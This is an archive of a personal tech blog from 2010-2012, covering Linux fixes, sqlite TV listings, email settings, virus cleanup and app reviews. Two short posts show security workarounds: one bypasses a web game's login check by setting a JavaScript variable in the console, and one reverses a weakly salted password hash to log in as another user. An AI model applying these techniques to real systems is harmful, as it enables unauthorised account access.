X crashing is not a common occurrence and as I just wanted to be up and running email etc I forgot the issue and moved on. Then a few days later tried the same thing and it crashed X again, no obvious log messages, again forgot about it then the other day I tried to use Xine to watch a DVD and ... yep crashed again.
This time I decided to look into the problem a bit more deeply. It was my own fault for not updating the linux kernel and the video drivers. So I rebuilt the kernel using .config and meld, surprisingly no issues and rebooted and started X.
Something was wrong. The XFCE desktop seemed to be there(the panels were appearing) and my last running apps were loading but none of them had any window decoration, so no close/minimise etc. The mouse would not click on things and had the classic monochrome cursor.
After a lot of digging found the fix was to shut X and delete
rm ~/.cache/sessions/*
Then everything worked flawlessly again!


a name anchor big fat failure fixed
Sun, 18 Mar 2012 22:17:57 GMT
Just noticed all my "Permanent Link" links were failing. I cannot see where it is introduced but a space is preceding each TV recipe
So we have downloaded all these lovely information rich tilde delimited text files, what can we do with them ?
Welcome to sqlite. Originally I thought this was a library that you included in your own programs that the user was never aware of. It certainly can work like that and was my expected approach to this project.
But the wonderful sqlite has a seemingly innocuous command line application called sqlite3 that can either create an interactive SQL shell that you can execute statements within or simply pipe into or use the second parameter (the first being the database file).
Oh, and how difficult setting up the database file is ...
sqlite3 mynewdatabasefile
That's it! If the database does note exist then it is created (instantly) for you. That statement also starts the interactive shell connected to that database, no users, logins, file formats, it just works.
So I created a quick CREATE TABLE script and piped it into my new database
cat dbscripts/create_channels.sql | sqlite databases/tv
that script being standard SQL
create table channel (
Id INTEGER 
,"Name" VARCHAR(1024)
,"Selected" VARCHAR(1)
);
sqlite does not need field definitions such as INTEGER and VARCHAR(1) it treats everything as dynamic using your column definition as a suggestion.
Well it's slightly more complicated than that, but bottom line is anything goes, making data input and processing very non-strict and easy.
I will let you imagine the programme table.
The "Selected" column was added so I could avoid sports, foreign language and music channels.
The new recipe post will be exclusively about that process...


in browser hacking google input output
Thu, 15 Mar 2012 20:52:02 GMT
Google have started a developers sign-in that requires entrants to complete a task called Input/Output, which is an Incredible Machine clone.
Slashdot posted about it use and the commenters noted that one you had to have a Google+ account and the it linked your account.
I have a Google+ account but did not want to use it, so I started poking around the JavaScript in the browser.
If you use Chrome or FireBug and search in Experiment.js for LOGGED_IN in the scripts panel and set a break point, refresh the page then in the console enter
LOGGED_IN=true;
the hit continue you are logged in and can play the game.
I also noticed there are some achievements like Chrome Ball that are simple booleans, wonder what I can unlock ??


using firefox to manage sqlite for tv programme management
Wed, 14 Mar 2012 21:36:31 GMT
Continuing my tv recipe
The name sqlite to me DID mean a database api for using a sql database inside your own developed applications and coming to this project I fully expected to have to do some coding to get anywhere.
But sqlite is a full functional sql database in a file with a command line execution engine making development and then using a SQL based database incredibly easy.
I am using it entirely in bash and bash scripts.
Oh! and as well as beeing so easy to run commands against there is a firefox sqlite manager that has every function under the sun.
Just load firefox open a command on the menu and open your local database file instant access, very cool !
Now stage 1:Radio Times web API for personal use. 
There are two web services we need one to get channels (maps names to ids) and programmes where we get 14 days of s ingle channel.
http://xmltv.radiotimes.com/xmltv/channels.dat
http://xmltv.radiotimes.com/xmltv/CHANNEL_ID.dat
the returned files are not xml but tilda '~' delimited the format of which can be determined from this
http://www.birtles.org.uk/phpbb3/viewtopic.php?f=5&t=245#p943
It is worth pointing out that the returned files also include a discalimer/liceince noting these are for personal use only.
The programme files include some useful columns such as "Film"(true/false), "premiere"(true/false), "genre" as well as "Title", "Description", "Start"(time), "End"(time) Date, plus many more.
This works for me as one of my goals is to avoid missing films.
select [Title],[Genre],[Year],[Name],[Date],[Start Time] from programme P INNER JOIN Channel C ON P.channelId = C.Id where [Date] >= date('now') AND Film='true' ORDER BY [Date]



Linux scans Windows XP for the win
Mon, 05 Mar 2012 22:35:17 GMT
Quick follow up from the Windows XP virus incident.
So I booted from the Trinity Rescue Kit CD ISO on a USB stick and was able to run five virus scanners.
Clam AV
F-Prot
BitDefender Scanner
Vexira
Avast
The text based menus were straight forward and had many options for non virus scanning activities, such as reseting a windows password.
Most of the scanners just worked, Avast required a huge GUID that can only be obtained by giving your email address on the website(not got any spam yet).
Vexira had been updated and needed some TLC to getting running, but nothing major.
As these were virus scanners each one checked every file (or at least most files) meaning they ran for many (many) hours.
But it was worth it, found 52 (possibly) infected files and after removing those and rerunning the scans no infected files were found.
Windows does appear to be virus free but it also zapped the entire Start Menu, not even Run survived, but everything works and shortcuts are slowly being added back in.


Just downloaded 71716 tv programme listings for the next two weeks
Thu, 01 Mar 2012 23:25:47 GMT
Just downloaded 71716 tv programme listings for the next two weeks.
hopefully I can streamline my tv recording to things I want to see and not miss.
Recipe:
Radio Times web API for personal use.
bash for scripting
wget for downloading (should i be using curl?)
sed for text manipulation
sqlite for database

full details coming soon


missed out of the raspberry pi frenzy
Thu, 01 Mar 2012 23:19:57 GMT
Missed out on the pi frenzy after refreshing their page twice daily for the last couple of weeks.
Love to play with a Model B but really do not have the time, nor do I have an HDMI tv or the money to buy a converter.
Still waiting to see if the converters even work for the pi.
http://www.scan.co.uk/products/startech-hdmi2vga-hdmi-to-vga-video-converter-with-audio
http://www.amazon.co.uk/Konig-HDMI-to-VGA-Converter/dp/B0048SKRIK/ref=pd_cp_ce_3
http://www.tvcables.co.uk/cgi-bin/tvcables/hdmi-to-vga-converter.html


The Demon struggle with Outlook 2010
Fri, 17 Feb 2012 21:33:02 GMT
Just last year I was tasked with making a laptop with Outlook 2002 send email via Demon when not connected directly to the Demon network.
So it would be simple to setup Outlook 2010 to do the same, right ?
No!
the settings from my previous post are controdictory of the settings that work for OL2010.
And yes I spent many hours again on this issue...

On the "Internet Settings" page for you email account make sure
Outgoing mail server (SMTP) [post.demon.co.uk]
[ ] Require logon using Secure Password Authentication (SPA) 

([ ] is the checkbox UNCHECKED)
Then in "More settings" on the "Outgoing Server" tab you have
My outgoing server (SMTP) requires authentication
Log on using
[your username]
[your password]
[ ] Require Secure Password Authentication (SPA) 

Finally on the "Advanced" tab you need
Outgoing server (SMTP) [587]
Use the following type of encrypted connection [Auto]


bootnote: did you know I used to support Outlook 97 through Outlook 2000 and Mail/Schedule proir to that on Microsofts help desk.


trinity live cd and usb trouble with NTLDR missing
Sun, 12 Feb 2012 18:04:13 GMT
To try and resolve the virus issue I downloaded the Trinity Rescue Kit live CD.
This is an old Windows PC with XP on it that is happliy used for email and legacy programs, and guess what ... ?
It will not boot from CD, BIOS says it will boot from USB/FDD so I write the Trinity live CD to a 512mb USB stick.
Boots but errors "NTLDR is missing" which is dos thing. Try quite a few variations, reformat drive, try another USB stick.
Then I have a brain wave, the USB ports on the front of the machine are from a USB extension panel, what if I plug the USB stick into the main ports on the back of the machine ?
Success, system boots and is now running (after downloading) the latest clamV.
I will report on how it turns out ...


Never EVER click any links in emails
Sun, 12 Feb 2012 17:55:20 GMT
Sarah caught a virus (worm/trojan/etc). She clicked a link in an email from the Post Office, something along the lines that a parcel required redelivery.
She was supprised to find pops and fake anti virus all over the screen.
I asked a couple of questions:
Had she ever given the Post Office her email address.
Was she expecting any parcels.
Both answers were "No".
So started my journey into windows cleaning from live Linux CD.


bash and alt plus period
Tue, 31 Jan 2012 21:51:22 GMT
Are you a bash user ? if so you need to know
 [ALT+.] 
it gets the last command parameter, you can do it multiple times to go back through your command parameter history, great with long path names.
i.e.
file /tmp/some/file/in/some/long/path
rm [ALT+.]

instead of doing all that [tab] auto-completing again.


salt shaker script replaced with single line of code
Tue, 31 Jan 2012 21:28:04 GMT
It would seem it is time to retire my salt shaker script for randomising object locations/rotations in blender.
The 2.5 series (and I guess 2.6) only requires this one line to be run in the python console.
[code] bpy.ops.object.randomize_transform( random_seed=0, use_loc=True, loc=(0, 0, 0), use_rot=True, rot=(360.0, 360.0, 360.0), use_scale=True, scale_even=False, scale=(0.0, 0.0, 0.0)) [/code]
but I will leave it up for prosperity.


password salt was a bit easy
Tue, 31 Jan 2012 21:16:20 GMT
Needed to test an uncommon part of a website the other day, problem was I did not have a login. Not wanting to sign up and wait for an email(not sure it would have worked on that system) I had a look at the database.
User table with Password column, but its encrypted :(
Not so quick, maybe it's just a hash ...
http://www.sha1.cz/
tried "password" and searched for passwords the same as the hash, no matches...
Quick dig in the code ... Ah using a salt, salt is ...
password
Password requirement is at least one number, so lets try "password1password1"
2cfec11bc6024a9ac3d39a56323a2161b69c989f
43 matches, copy and paste first username into login box and password as "password1", sorted!


orange fails x8 and that is just today
Tue, 03 Jan 2012 21:49:01 GMT
More Orange fails.
[This is just todays fails, I did not record what happend from the previous couple of calls].
Fail 1: Can login to orange account web page but get hidden 500 error, view source and it is about Java unable to access a session java.lang.NoClassDefFoundError.
Fail 2: the page displayed in the browser has no error and no information of any kind showing, so no error handling then.
Fail 3: the error in view source is over 300 lines long and would give any attacker a wealth of information regarding infrastructure and software versions.
Fail 4: The telephone auto prompt system has nothing related the the issue I want to resolve, nothing new there.
Fail 5: Finaly get past the the auto promt to be told that they endevor to pickup within two minutes, over 15 later I get CS rep 1.
Fail 6: CS rep 1 tells me he can not help and transfers me to Billing rep 1.
But does not give BR1 any of my details.
Fail 7: BR1 tries to locate me via post code, the same post code Orange send me stuff, but I do not exist, even though the reason for ringing is related to two items sent to the that address.
Fail 8: Even though I had followed previous CS reps (calls prior to this one) advice, no, BR1 could not help me, please call another number during office hours.
21 minutes to find they could not help me, oh the joy!


linux xorg no mouse no keyboard gentoo fix
Sun, 01 Jan 2012 22:08:13 GMT
Rebuilt the gentoo kernel to include wacom support everything went fine :)
but came back from holiday and the X screen appeared corrupted, black with rectangles of random colors and it was not XScreensaver ;)
Reboot ([Alt]+[SysReq]+ {S/U/B}) and startx, no mouse or keyboard, could not swtich VT.
Now, I knew I had had this issue before AND I know I had reported the fix, but not in flog :(
Eventually found it on gentoo forums.
emerge -av xf86-input-evdev
now recorded here ;)


UPS pops it clogs
Sun, 01 Jan 2012 21:53:41 GMT
The power gods finaly won, UPS entries
the battery died a horible death and it is cheaper to buy a new personal UPS than to replace the battery.
Maybe 4-5 years is the expected life expectancy ?
New model is an APC 850VA (3 plug), mainly choosen for its price and noise output, both very low.
Seems to work fine, no serial connection to the PC or ethernet or USB so just basic UPS.
Funny, it has no kettle extension connectors like the old UPS (and any UPS I have ever seen) instead it has standard 3 pin mains sockets, so easy to plugin any old appliance.


Horrible Bosses FTW
Sat, 20 Aug 2011 22:14:36 GMT
Saw Horrible Bosses on Oranges two-for-1 Wednesdays deal.
Easy to write a twitter reviewhorrible bosses : 5 thumb-stars-tomatoes up: cinema was packed and everyone was laughing out-loud #FTW #horriblebosses
go see it!


DEXT resurected and rooted to 2.3
Sat, 20 Aug 2011 22:04:04 GMT
My Orange DEXT failed again
Completely dead, would not respond to charging, took it to an Orange shop (marked as a repair center) they confirmed that even replacing the battery did not revive the phone.
Bought a cheap PAYG Samsung GT-S3350 otherwise known as Ch@t 335 that just works.
And that should be the end of the story, but I though I would try the Android DEXT one more time to see if the PC could see it, BING! it just started up ...
So now I have a nice PAYG phone that works well for Phoning and SMS and my beat-up Android 1.6 DEXT, time to root !
I had been avoiding rooting due to the risk and the fact that the DEXT has a cousin in America called the Cliq that all the root guides had been referring to this when anyone mentioned the DEXT.
But now the DEXT has been recognized and I have cyanogen-mod 7 and Android 2.3 later than most off-the-shelf- Androids !
None of the "single-click-root" apps worked for me due to the Android OS version being soooooooo low.
The question is what do I do with the phone now ?
Go back to using it and ditch the PAYG? I would but the battery life in the Samsung is phenomenal compared to the Android.


OCZ SSD post with no answer
Sat, 20 Aug 2011 21:46:49 GMT
REOCZ SSD post
my forum post http://www.ocztechnologyforum.com/forum/showthread.php?91248-Agility-3-not-recognised-after-activity-can-not-upgrade-firmware
Scary google advanced search


OCZ Agility SSD Linux combo did not work for me
Sat, 20 Aug 2011 21:34:25 GMT
I can not say this will be the experience of ever OCZ Agility 3 60GB SSD Linux owner, but this was mine.
Drive was detected in the BIOS [OK]
Linux live CD (on a USB stick thanks to unetbootin) fdisk partitioned the drive [OK]
mkfs.ext4 [ERROR]
dmesg showssda: detected capacity change from 60022480896 to 0
reboot [OK]
fdisk sees correct partitioning [OK]
mkfs.ext4 [ERROR]
dmesg showssda: detected capacity change from 60022480896 to 0
reboot [OK]
hmmm, try OCZ own live CD with ROM updater.
Detects SSD [OK]
Updates ROM [OK]
fdisk [ERROR]
dmesg showssda: detected capacity change from 60022480896 to 0
Tried changing so many settings in the BIOS but the main one that came up in my research AHCI was not a setting :(
Convinced it was a problem of my own making I spent a whole week reading many many OCZ posts with similar (but never exactly the same) problems.
Created a post on OCZ with tons of detail, no response.
Returned to Overclockers [OK]
Selected Intel SSD (only 40GB for the same money)
Connect [OK]
Boot [OK]
fdisk [OK]
mkfs.ext4 [OK]
everything [OK]
well, not quite anything, ext4 and Nvidia SATA support were missing out of the kernel I installed, but after fixing that the Intel just works, no fuss no muss.


Outlook 2002 XP on windows Vista Demon SMTP authentication settings
Sat, 20 Aug 2011 21:03:33 GMT
Outlook 2002 (XP) (on windows Vista) Demon SMTP authentication settings !
"More Settings"
 "My outgoing server(SMTP) requires authentication"
  "Log on using"
  host name is the bit BEFORE ".demon.co.uk"
  password is the same as the password used to connect via broadband/dial-up which maybe DIFFERENT to your POP? password
  (check at https://www.password.uk.demon.net/ )
  Check "Log on using Secure Password Authentication"
  "Advanced" Outgoing server settings change port from 25 to 587
  and do not check "this server requires an SSL ..."
 The number of man hours I wasted on this is phenomenal  .


The story of demon and the SMTP adventure
Sat, 20 Aug 2011 20:55:16 GMT
Time for a story;
Once upon a time someone asked me if they could send email when they were on holiday via Wifi.
Seemed a logical question: "Yes, wifi is just another way of accessing the internet".
The came back from holiday very disappointed, the email would not send but it did receive.
I looked in to the issue and sure enough it is common for ISPs to block SMTP that does not come from client connected directly into there systems.
Some offer alternate secure routes to send email but you have to know how to set them up.
The network in question was Demon who are well renowned for there technical prowess.
And there on their help pages was how to send email when not connected to Demon.
But it did not work and every permutation under the sun of security / post hostname settings would get it anywhere.
Demon do have a Live Chat support option and I suddenly realised that I had exhausted all the settings possibilities the problem had to be elsewhere.
After trying alternate email clients and machines I know what to ask the Live Chat person.
"Can the POP3 password be different to the SMTP password ?" remember POP3 (incoming) mail worked fine and sending from inside Demon, i.e. from home worked fine.
The answer was "yes they can be different", it never occurred to me that the sending mail password would be different to the receiving, many ISPs I have used in he past do not even have the option.
Armed with this crucial piece of information I now setup the SMTP and it worked.
Due the power of the following information it is provided in a separate post [ see below]


where has your broadband gone
Tue, 19 Jul 2011 23:18:14 GMT
Changed hosting from freenetname.co.uk that gave me my jumpstation.co.uk domain name (for free) to http://1and1.co.uk who I have used for http://pay4foss.org, http://slsushi.co.uk and a surprising number of others.
Freenetname was bought-out by at least two if not three companies leaving my account in the hands of http://www.madasafish.co.uk who offered excellent broadband prices but when we moved house the broadband dropped to almost 1mb and we had no need for 50Gb a month.
We switched to sky.co.uk and strangely the line speed seems slightly higher.
Madasafish termination department did point out that according to BT our area was due for a fibre upgrade in August, so heres hoping.


jump out of the tunnelmovie
Tue, 19 Jul 2011 22:52:52 GMT
Finally got around to torrenting the completely free 3Gb horror flick http://www.thetunnelmovie.net after getting my movie frame a short while ago.
I still cannot decide if I like the film or not. The first 5 minutes make you feel it is a real Hollywood blockbuster with tasteful artistic shots and pans.
Then the film starts and you are hit with strong jarring Australian accents, this immediately put me at odds with the movie just because I am not used to watching a film without mainly American or British actors(I  know, my loss).
But after the plot got moving things did settle down, but maybe not for the best, shot in an interview/documentary style it does take a while to get going and then when it is going seems to drag.
I am not going to spoil it but there is one point that literally made me jump out of my chair and the overall 'do not show the monster' works to its advantage.
Plot holes are minimal but can still be observed and annoyingly the story is never fully resolved, this obviously intentional.
For a free movie I say go get it but do you need the DVD ? jury is still out, I want to love this so much more.


the tunnel assigns my a premo promo frame
Thu, 02 Jun 2011 22:13:40 GMT
The tunnel has finally been released and is completely free to download.
The reason it is free is because the revenue model is not to sell copies or licenses of the movie but to sell frames and I bought one a long time ago.
I can no reveal my hard earned frame.

looks like a promo shot !


A UPS will not protect you computer from being turned off
Sun, 08 May 2011 16:49:19 GMT
You can protect you computer from power cuts using a UPS but it will not protect your system from small fingers pressing all the buttons and pretty lights.
Maybe I need to setup a web cam with alarm !!


windows phone 7 is different
Fri, 06 May 2011 22:58:55 GMT
Just started a new job, and they have put me on Windows Phone 7, which is different.


The dark room get light from HP wireless scanner Linux support
Fri, 06 May 2011 22:53:46 GMT
You may remember the fun I had with windows XP and an HP C4780 printer the dark room.
That eventually resolved itself after removing all the HP bloat-ware and finding a 'driver only' installer.
In other news I bought the Tron Legacy Reconfigured CD which has some binary messages on the box sleeve and the insert. I wounder if I could get the wireless printer AND scanner working from Linux ?
Turns out HP should be praised for their open source support as the tools to installer and configure have lots of sensible output that tell you whats going on.
I got the printer working with a few easy steps using the CUPS web front-end, but the scanner gave me a headache.
XSane and scanimage both told me no devices were found, but this is where it gets weird because if I told xsane what IP the printer was then xsane worked.
This had the side effect of not being able to use GIMP to do the scanning.
Resolution (and it took a while to work it out) was to run the hp-toolbox and to add the printer using the ADVANCED settings entering the IP address, sounds simple but it quite happily auto-discovered the printer on its own in a slightly different way.
Now I can scan in GIMP from a wireless printer !
maybe HP aren't quite so bad after all.
Now back to Tron, I have scanned the images just need to tidy them a bit and the work out the best way to OCR them.


For sale: one slightly used Peg Solitaire solver
Mon, 07 Mar 2011 18:52:20 GMT
[continued from flog]
So the main program executed a loop that simply looked for 'unprocessed' boards and 'processed' them. 
The initial game board layout was set as 'unprocessed', this meant that there were more pegs to test for moves, as each peg was tested.
Oi! Board, give me the next peg; 
dear peg, you able to move North? 
OK, then that move is made on a copy of the current board and stored in the data tree as a branch from the initial root board.
dear peg, you able to move South?
No?
East?West? 
Oi! Board, give me the next peg; 
What do you mean 'no more pegs' ?
Right, set this board as 'processed'.
Start loop again, get next 'unprocessed' board ...

Finally there are no more boards, search for solutions in the data tree, boards that have only one peg left.
Calculate the number of parents for each solution, find the shortest and display it.

6 solutions found, shortest has 5 moves
XX...XX
XX.O.XX
..OOO..
...O...
...O...
XX...XX
XX...XX

XX...XX
XX.O.XX
..O..O.
...O...
...O...
XX...XX
XX...XX

XX...XX
XX.O.XX
..OO.O.
.......
.......
XX...XX
XX...XX

XX...XX
XX.O.XX
....OO.
.......
.......
XX...XX
XX...XX

XX...XX
XX.O.XX
...O...
.......
.......
XX...XX
XX...XX

XX...XX
XX...XX
.......
...O...
.......
XX...XX
XX...XX
There were 35 moves stored in the tree

Am I releasing the code ? no, its a bit messy and has no way of entering new board layouts, hacking the source is the only way.
Still, if you are in desperate need of a C# peg solitaire solver you can email me for a copy.
IReallyNeedAPegSolitaireSolver@jumpstation.co.uk

EOL


fruit from the branches is tested
Thu, 03 Mar 2011 21:37:25 GMT
[continued from flog]
I could now find pegs, check for moves and make moves. Next I needed recursion. Recursion is like fractions or the area of a triangle when you are at school, they are taught and for many people never used.
All software engineers are taught recursion and up until now I have not needed it.
I wanted a ready made off the self object type to hold my recursive branching data where each branch was each possible move from a previous move on the board.
Strangely there is no .Net Tree data type, I tried to use XML but this totally unnecessary.
A simple object with a collection of that same object inside was all that was needed.
i.e. a branch that contained one fruit and any number of branching branches that also contained one fruit and any number of branching branches ....

The fruit was the state of the board after each peg moved. Originally I tried to store the move itself but this got very complicated very quickly.
Recursion meant I could find a 'fruit' in the middle of the branches by always starting at the root branch, the 'tree'.
When the solution was found, only one peg was left on the board, I needed to show the steps leading to that state, so each branch had a parent property.
This meant I could take the completed board and look at its parent branch and then look at the parents branch all the way back to the starting branch.
Lots of tests were added here as I needed more and more methods to do jobs for me.


testing is the true path to enlightenment
Wed, 02 Mar 2011 20:32:59 GMT
[continued from flog]
I began with pseudo code, for each peg on the board try and move it and do this recursively until the solution is found.
Wow, that was easy...
We had been introducing testing to new projects at work. Testing is one of those things that software developers do not do naturally, they know it is the right thing to do but usually miss it out completely or tack it on at the end of a project.
Once a developer has actually used testing frameworks for automated testing from the beginning of a project all that changes, instead of reluctance to testing they actively embrace it.
So it was with my peg solitaire solver.

I started with the basics, creating a board, pegs and walls, then a number of methods to locate pegs from coordinates and coordinates from pegs.
Testing a sample board with know peg locations.
Then the logic for moving pegs. A Peg can move either North, South, East or West but only if it 'jumps' over another peg (like draughts)
Tests were created that showed that a move was valid for a known peg.
In the past I may have tested the functionality but then removed it once it was working, with my slowly building battery of tests all the functionality was tested as I made changes, picking up issues outside of an area that I was specifically working on very quickly.


Professor Layton claims another victim
Tue, 01 Mar 2011 22:03:13 GMT
[continued from flog]
Why did I need a solution to Peg Solitaire ?
Back in 2007/8 I played and completed http://en.wikipedia.org/wiki/Professor_Layton_and_the_Curious_Village a great story lead collection of bizzare puzzles.
The in 2008/9 I played but have yet to complete http://en.wikipedia.org/wiki/Professor_Layton_and_the_Diabolical_Box which worked in the same fashion.

PL&CV had a number of repeating puzzles that became harder and more annoying, these were the ones that required a little bit of help from the internet http://professorlaytonwalkthrough.blogspot.com/
I realised then that the solution could have been computed.

On of the repeating themes in PL&PB was, you guessed it Peg Solitaire. After completing nearly all the puzzles in the game I was left with a number of peg solitaire puzzles that I could have completed by hand but I decided not too.


its mine all mine
Tue, 01 Mar 2011 22:01:29 GMT
[continued from flog]
I wanted this to be more than a hack-a-thon, so a fair amount of time went into investigation and testing.
The main requirement was no outside solutions, it would have been trivial to download a working program from the net.
This one had to be all mine.


How long does a simple bit of recursion take
Mon, 28 Feb 2011 22:21:31 GMT
[continued from flog]
It certainly had taken a lot of my time, the problem being there was not a lot of my time to take.
The Peg Solitaire solution is a simple matter of recursion but it does require some thought.
The problem here is that the thought process took up most of my coding time for any free time session.


peg solitaire solver completed after seven months
Mon, 28 Feb 2011 22:17:54 GMT
On Feb 2nd 2011 I completed a small project.
A text based Peg Solitaire solver.
The project had been started back on the 28th July 2010.
Had it really taken almost 7 months ?


mono system.xml.linq from the command line
Mon, 10 Jan 2011 22:18:49 GMT
I need a branching non binary Tree structure in C# using mono.
After googling for a while, it seems you are expected to role your own, but then I noticed the System.Xml.Linq and the fact I could use the XML data classes to do the simple Tree work I needed.
using System;
using System.Xml.Linq;
would not compile :(
error CS0234: The type or namespace name `Linq' does not exist in the namespace `System.Xml'. Are you missing an assembly reference?
but how do you add a reference to command line project ?
gmcs -r:System.Xml.Linq.dll yourcode.cs
simple when you know how :)


ping all class C to populate arp tables
Mon, 10 Jan 2011 19:08:33 GMT
For switch port ident

# ping all IP address in class C
for i in 192.168.11.{1..255}; do ping -n 1 $i; done
# now arp table is full, display it (will not show machines that have not be previously accessed, i.e. not responding to ping)
arp -a


AppInventor flailing for emulators
Tue, 24 Aug 2010 21:28:35 GMT
I got appinventor working in Windows 7 at work and created the Meow Purr tutorial (replacing the image and the sound with something more interesting).
Unfortunately, I did not have the USB cable with me so I could not see it running on the phone.
The designer page has a Package for Phone option to create an .APK but that would not install on my Android 1.5 DEXT.
So, as appinventor is web/Java based I tried it out at home in Gentoo. There are no Gentoo packages so I had to unzip the Debian one.  All you need to do is dump the folder structure in /.
Last step is to make sure the user running the appinventor has write permissions and start the emulator.
Hopefully I will get some time to play with the other features, but it was easy to use (after so flailing about).


first corrections in ten years oh the computer O quiz
Tue, 24 Aug 2010 21:13:47 GMT
Do you remember the Computer-O quiz ? I thought not, I put it up over ten years ago.
I got an email today noting a few issues with the answers. Googling the sender I find he is a well respected and smart fellow, time to update the code.
AGHHhhh! my eyes! all the HTML is in UPPERCASE, the screen is shouting at me :(
MOO also stands for Master Of Orion (First O therefore stands for Of)
POST is a HTTP request mechanism (O stands for nothing-post is just a word)
Your acronym for FLOPS is wrong, Floating Point Operations Per Second would be FPOPS
FLOPS is more often understood as standing for FLoating-point OPerations / Second, so the O again stands for nothing (the term is a portmanteau not an acronym)
I also fixed a number of typos and spelling mistakes.
Considering how many people have taken the quiz I am surprised no one picked up on the FLOPS on, goes to show people are only interested in the O.
Ok, off you go to try and beat your last score on the worlds only Computer-O quiz.


the iPad is a toy get over it
Mon, 23 Aug 2010 22:11:55 GMT
So when I was presented with my free iPad, I though WOW and free computer, think of the productivity gains.
Now accept that the iPad is a toy. Even if you are willing to pay the money there is very little out there for professionals.
Its a very shiny, nice to show off, expensive toy. The excitement is wearing off after just a couple of weeks.
Roll on the next shiny.


News of the windows 7 app inventor is not
Mon, 23 Aug 2010 22:06:22 GMT
In other news I have been creating a number of test Android applications, each targeting a specific feature that will be combined into ... [TBA]
And in other 'other' news I was accepted into the google AppInventor beta.
App inventor allows you to create complex Android applications without any code, just drag and drop. Look promising but seems to have some holes.
And ... in etc etc I installed the windows phone 7 tools at work, as we are (currently) a Microsoft house.
There are worrying signs that Macs maybe in my future, but nothing to worrying yet.


third set of free ipad app reviews
Mon, 23 Aug 2010 21:59:17 GMT
Another ten free iPad apps (no iPhone apps but two note worthy URLs).

Clinometer:
Spirit level and bubble level. Thats it, a nicely presented bubble level (when the iPad is on its back) and spirit level when stood on end, very sensitive(good thing). *FREE* 5 stars

Doodle Buddy:
Drawing: Lots here for the kids, from multiple backgrounds to stamps with sound effects. As well as having the normal draw a colour pens, it has a smudge and also allows finished art to be saved as the iPad background. *FREE* 5 stars

PreSchoolMM:
Memory match game. Another on for the kids. Match the pairs with colourful illustrations and one each match get a sound or/and voice over. At the end of each level you get three wacky sound toys to play with. Lots of variation on the cards, from animals to instruments to vehicles. *FREE* 5 stars

IdeaSketch:
Mind mapping. Very simple, not very many options, but allows you to create simple lists with associations in either list or graph view. *FREE* 3 stars

WorldClockPro:
Clock. Show multiple clocks from different time zones. Very few customisations and the LED view is not very readable. However the analog clocks look very nice.  *FREE* 3 stars

Hexius:
Hexagon matching game. High speed touch matching with funky explosions sounds, graphics and fun power-ups. Limited appeal.  *FREE* 3 stars

Trundle HD:
Rolling physics game. Tip the iPad left and right to get your ball rolling, tap the screen to jump. One of the better and more devious physics games. *FREE* 4 stars

Rafter HD:
Drawing physics game. Draw blocks and balls at the top of the screen and let them fall down and activate the mine. Bit limited and hard in places.  *FREE* 4 stars

BBC iPlayer:
BBC catchup service. Not an app but a url that you can add to your home screen. Select programs from BBC channels from the previous week (or so) and watch streaming.  *FREE* 4 stars (UK only)

TVCatchup:
Live streaming TV. Not an app but a URL that you can add to your home screen. Select one of 37 channels and watch streaming live. So not really any kind of catchup service. you do have to register but its free.   *FREE* 4 stars (UK only)

I have more on my list to download and test, but do not expect that anytime soon, I really have started to hit to bottom of the free iPad apps.


another ten free ipad apps
Tue, 17 Aug 2010 22:50:48 GMT
Another ten free iPad apps (yes, one of them is an iPhone app).

Saturation:
Colour visualiser for the kuler Adobe community. Show the micro palletes either interactively or in a screen saver type experience. Fun but not very useful. Not iPad native so you get the iPhone visuals, optionally at 2x zoom. *FREE**iPHONE* 3 stars

VAInfo:
System information reference. Find you IP and MAC address, CPU type, OS, Memory, Battery, Location, Kernel etc etc. For geeks, it just works. *FREE* 5 stars

VTrace:
Visual tracert. Enter an IP address or web server and get a route described by pins at the data centers the data traveled. For geeks, it just works. *FREE* 4 stars

Wink Target Clock:
A full screen arty analog clock. Imagine a shooting target composed of colourful concentric circles and then add hands and a second mechanism that changes the colours. This one may get uninstalled. *FREE* 3 stars

PCalc Lite:
Calculator. Demo for more fully featured product. Very clear and easy to use, wish it had base 2 and base 16. *FREE**DEMO* 3 stars

Implode Nature!:
Physics game. Demo, containing 10 levels where you place explosives and try and decimate chalk drawn structures. Completed the demo in less than 10 minutes, not impressed, uninstalled *FREE**DEMO* 3 stars

Bub Wider:
Tilt game. Control a bubble by tilting the iPad collecting art and avoiding sugar babes. No indication it was only a demo. Basic premise, collect objects and avoid enemies, again not impressed, uninstalled *FREE**DEMO* 3 stars

RJ Voyager:
Audio mixer. Fun interactive audio toy for mixing up sounds. Comes with eight 'scenes' that are a collection of samples each with their own parameters such as volume, echo, reality and filter to name but a few. For acid house, trance dance types. *FREE* 5 stars

Labyrinth 2 HD Lite:
Tilt maze game. Demo containing 20 levels, some easy some hard. Amazingly well presented and lots of fun, but I got neck ache looking down at the iPad as it had to be flat as neutral. At £4.99 I will consider purchasing the 300 level complete version. *FREE**DEMO* 5 stars


Pocket Pond HD:
Interactive pond. Play with the fish in this relaxing interactive pond environment. Ambient sounds play, you can annoy the fish by touching the water or add lily pads, the only other thing is to drag through the water like all those water demos before it. Simple, beautiful, but a bit basic. Not really a demo but a new more advanced version called iPond with fishing, frogs and dragon flies is available. *FREE* 4 stars

Yes, lots more to test and will distract me from what I was doing previously, drat.


dnet stats little bit off for a year
Sun, 15 Aug 2010 21:21:15 GMT
No one told me my dnet stats have been failing to update for over a year !
Appears the stats I was receiving were for one of the developers as a default value.
Missing quotes around the wget URL in the wget call, if you must know.
And yes I do feel stupid.


must have ipad mini reviews
Sun, 15 Aug 2010 20:50:23 GMT
I was worried that there would be no free apps worth having on the iPad. Here are ten of the first crop I tested.

Dragon Dictation: 
Voice based dictation for notes. Very basic but does do dictation without any training. Needs a training mode ! *FREE* 3 stars

Epicurious: 
Recipe book. In one word 'lavish', it is beautiful/responsive and has everything you need. Nice layout/options images, reviews and can store all the required ingredients in a shopping list. *FREE* 5 stars

Dictionary.com: 
Dictionary/Theosaurus. Just works, no obvious niggles. *FREE* 5 stars

IMDB: 
Internet Movie DataBase. Just works and looks brilliant.  *FREE* 5 stars

AudioMemos: 
Record audio from the microphone. Although heavily ad supported it does do a good job. Just hit record, and rename your recording after. *FREE*AD Supported* 3 stars 

The Guardian Eyewitness: 
Slide show of the best daily global photography. Stunning, must have. *FREE* 5 stars

Beatwave: 
Music creator: very fun, simple and has some useful configurations. *FREE* 4 stars

SkyGrid: 
News consolidation app. Bit quirky, nice way to waste five minutes catching up with news about things and stuff you might otherwise have missed. *FREE* 3 stars

Google Earth: 
Planet visualiser. Does exactly what you expect, fun and easy to use. Pinch zoom seems to rotate the image every time. *FREE* 5 stars

Toy Story: 
